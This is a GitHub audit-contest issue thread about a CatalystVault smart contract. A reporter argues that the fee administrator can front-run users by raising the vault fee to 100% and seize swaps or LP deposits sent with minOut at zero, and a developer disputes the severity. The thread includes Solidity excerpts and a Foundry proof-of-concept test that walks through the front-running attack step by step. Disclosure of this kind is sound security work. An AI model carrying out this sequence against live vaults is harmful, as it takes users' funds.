CatalystVault fee administrators can steal all value from unsuspecting users via front-running

hats-bug-reporter[bot] commented 9 months ago

Github username: @0xfuje Twitter username: 0xfuje Submission hash (on-chain): 0x82ca8edd6f7b46cf2d7d9d7052d98aa2d7e177461cbdd0e149bb411b928a6efe Severity: medium

Description:

Impact

User loses total value sent to the vault (meant for swap or cross-chain send)

Description

Whenever a vault is initialized via CatalystFactory.deployVault(), the owner of the catalyst factory is set as the fee administrator of the particular deployed vault. The fee administrator can be changed to any address by the factory owner. Regardless of the current role owner, the fee administrator can abuse their privileges and steal all possible value from users while on the surface the vault fee remains normal.

catalyst/evm/src/CatalystVaultCommon.sol - setFeeAdministrator()

function setFeeAdministrator(address administrator) public override onlyFactoryOwner {
    _setFeeAdministrator(administrator);
}

One of the weaknesses that allows this vulnerability is the weak upper bound of _setVaultFee() as it can be set to 100%. It should be a safer value that still allows to set a relatively high fee, e.g. 20%.

catalyst/evm/src/CatalystVaultCommon.sol - _setVaultFee()

function  _setVaultFee(uint256 fee) internal { // @audit low - vault fee of 100% is dangerous
    require(fee <= 1e18); // dev: VaultFee is maximum 100%.
    _vaultFee = fee;
    emit  SetVaultFee(fee);
}

Another weakness to mention is that a lot of users tend to not set minOut values, and swapping withing a vault via localSwap() and sending asset via sendAsset() and other vault actions does not check that the minOut value is actually zero.

Note that if we assume the factory owner never turns malicious, and fee admin role has been transferred, the new fee admin can still grief users to lose all of their value used via the vault.

catalyst/evm/src/CatalystVaultVolatile.sol - localSwap()

    function localSwap(
        address fromAsset,
        address toAsset,
        uint256 amount,
        uint256 minOut
    ) nonReentrant external override returns (uint256) {
        _updateWeights();
        uint256 fee = FixedPointMathLib.mulWadDown(amount, _vaultFee);

        // Calculate the return value.
        uint256 out = calcLocalSwap(fromAsset, toAsset, amount - fee);

        // Ensure the return value is more than the minimum output.
        if (minOut > out) revert ReturnInsufficient(out, minOut);

        // Transfer tokens to the user and collect tokens from the user.
        // The order doesn't matter, since the function is reentrant protected.
        // The transaction which is most likly to revert is first.
        ERC20(fromAsset).safeTransferFrom(msg.sender, address(this), amount);
        ERC20(toAsset).safeTransfer(msg.sender, out);

        // Collect potential governance fee
        _collectGovernanceFee(fromAsset, fee);

        emit LocalSwap(msg.sender, fromAsset, toAsset, amount, out);

        return out;
    }

Note: This is medium severity and not high because only the fee administrator can exploit it which is either the factory owner or an address set by the factory owner.

Proof of Concept

Vault is deployed via 5% fee
User wants to swap between vault assets and calls localSwap() (or any other function that has a fee) and leaves minOut on the initial value (zero)
Fee admin front-runs user and sets the fee to 100% fee via calling setFeeVault() with 1e18
Since SafeTransferLib and overwhelming majority of ERC20s does not revert on zero transfers, no asset transfer has been made
Governance gets the full amount meant to be swapped
Fee admin sets the fee back to 5%
User has lost their total value of assets meant to be swapped
Fee admin is happy that either: governance collected value or that he made the user lost their full value free
Fee admin repeats every time users use the vault and there is a fee exchanged

Recommendation

Consider to set a safer upper bound for _setVaultFee and _setGovernanceFee, e.g. 20%. Consider to set a zero value check for minOut all vault actions. For further safety consider to enforce a timelock on vault fee setting functions (e.g. fees can only be changed in 4 hour) so there is no possible way to abuse the fee admin privileges.

    function localSwap(
        address fromAsset,
        address toAsset,
        uint256 amount,
        uint256 minOut
    ) nonReentrant external override returns (uint256) {
    +   require (minOut != 0)
        ...
    }

reednaa commented 9 months ago

It is intentional that the fee can be set to 100%.

The minout can be used by users to protect themselves against this. I don't think a check that minout is not 0 is needed since a user can trivially circumvent that check by setting it to 1.

Also note this: https://github.com/hats-finance/Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4/blob/fba322fab023a9206183fb455e9f86facd550d8a/evm/src/CatalystFactory.sol#L18

I am aware there is no such comment for the fee administrator (nor do I think there needs to be).

reednaa commented 9 months ago

If you can find any way that the fee administrator (since it is expected to not be behind a timelock) hurt liquidity providers, then I would consider this a medium or high. However, since the fee administrator can only do damage that any other MEV sandwich could do of equiv, then I don't consider this an issue.

0xfuje commented 9 months ago

It is intentional that the fee can be set to 100%.

Just out of curiosity can I ask why is it intentional?

The minout can be used by users to protect themselves against this. I don't think a check that minout is not 0 is needed since a user can trivially circumvent that check by setting it to 1.

The user does not want to intentionally lose value so they won't set it to 1, but it's possible and likely that the user leaves the value zero.

If you can find any way that the fee administrator (since it is expected to not be behind a timelock) hurt liquidity providers, then I would consider this a medium or high. However, since the fee administrator can only do damage that any other MEV sandwich could do of equiv, then I don't consider this an issue.

Thank you, I will dig deeper and see if I can find that.

reednaa commented 9 months ago

Just out of curiosity can I ask why is it intentional?

It can be used to freeze the pool for swaps. Because the fee is taken on deposits and not withdrawals you can always withdraw.

0xfuje commented 9 months ago

It can be used to freeze the pool for swaps. Because the fee is taken on deposits and not withdrawals you can always withdraw.

Thanks, that's a smart solution

0xfuje commented 9 months ago

If you can find any way that the fee administrator (since it is expected to not be behind a timelock) hurt liquidity providers, then I would consider this a medium or high. However, since the fee administrator can only do damage that any other MEV sandwich could do of equiv, then I don't consider this an issue.

@reednaa I explored the issue further, and found this does apply for liquidity providers as well, as the full amount deposited can be griefed out from the LP by the fee admin. Also applies to the cross-chain sendAsset functions as they substract the _vaultFee. I have written a proof of concept with a depositing LP so you can take a look:

Proof of Concept

navigate to catalyst/evm/test/ExampleTest.t.sol

switch out the initial setup function (doesn't really have to)

function setUp() public override {
// Calls setup() on testCommon
super.setUp();

// Create relevant arrays for the vault.
uint256 numTokens = 3;
address[] memory assets = new address[](numTokens);
uint256[] memory init_balances = new uint256[](numTokens);
uint256[] memory weights = new uint256[](numTokens);

// Deploy a token
assets[0] = address(new Token("USDC", "USDC", 18, 1e6));
init_balances[0] = 1000 * 1e18;
weights[0] = 1;
// Deploy another token
assets[1] = address(new Token("USDT", "USDT", 18, 1e6));
init_balances[1] = 1000 * 1e18;
weights[1] = 1;

assets[2] = address(new Token("WETH", "WETH", 18, 1e6));
init_balances[2] = 1 * 1e18;
weights[2] = 1;

// Set approvals.
Token(assets[0]).approve(address(catFactory), init_balances[0] * 2);
Token(assets[1]).approve(address(catFactory), init_balances[1] * 2);
Token(assets[2]).approve(address(catFactory), init_balances[2] * 2);

vault1 = catFactory.deployVault(
  address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool1", "EXMP1", address(CCI)
);
vault2 = catFactory.deployVault(
  address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool2", "EXMP2", address(CCI)
);
}

copy the below proof of concept

run forge test --match-test test_vault_fee_exploit -vvvv

function test_vault_fee_exploit() external {
// 1. Initialization
address alice = makeAddr("Alice");
uint256 aliceBalanceUSDC = 10000 * 1e18;
uint256 aliceBalanceUSDT = 10000 * 1e18;
uint256 aliceBalanceWETH = 10 * 1e18;

address USDC = ICatalystV1Vault(vault1)._tokenIndexing(0);
address USDT = ICatalystV1Vault(vault1)._tokenIndexing(1);
address WETH = ICatalystV1Vault(vault1)._tokenIndexing(2);

deal(USDC, alice, aliceBalanceUSDC);
deal(USDT, alice, aliceBalanceUSDT);
deal(WETH, alice, aliceBalanceWETH);

vm.startPrank(alice);
Token(USDC).approve(vault1, aliceBalanceUSDC);
Token(USDT).approve(vault1, aliceBalanceUSDT);
Token(WETH).approve(vault1, aliceBalanceWETH);

uint256[] memory aliceDepositAmounts = new uint256[](3);
aliceDepositAmounts[0] = aliceBalanceUSDC;
aliceDepositAmounts[1] = aliceBalanceUSDT;
aliceDepositAmounts[2] = aliceBalanceWETH;
vm.stopPrank();

// 3. Deployer front-runs alice with setting vault fees to max
ICatalystV1Vault(vault1).setVaultFee(1e18);

// 2. Alice submits her LP deposit tx
vm.prank(alice);
ICatalystV1Vault(vault1).depositMixed(aliceDepositAmounts, 0);

// 4. Deployer sets the vault fees back to zero
ICatalystV1Vault(vault1).setVaultFee(0);

// 5. Alice won't get any vault token mints for their deposit 
// since vaultFee amount (100%) is substracted
// so Alice can't withdraw their deposited assets because they are not accounted to her
assertEq(Token(vault1).balanceOf(alice), 0);
}

reednaa commented 9 months ago

It can be used to freeze the pool for swaps. Because the fee is taken on deposits and not withdrawals you can always withdraw.

The deposits is intentional. Send asset falls under the same category.

To protect your deposit you can set minOut:

ICatalystV1Vault(vault1).depositMixed(aliceDepositAmounts, 0);
// Should be 
 ICatalystV1Vault(vault1).depositMixed(aliceDepositAmounts, >0);

And to protect sendAsset check if U is large enough on return. There is no minout check inside the sendAsset call because of space constraints and there is no way that someone is calling sendAsset directly on the contract.

hats-finance / Catalyst-Exchange-0x3026c1ea29bf1280f99b41934b2cb65d053c9db4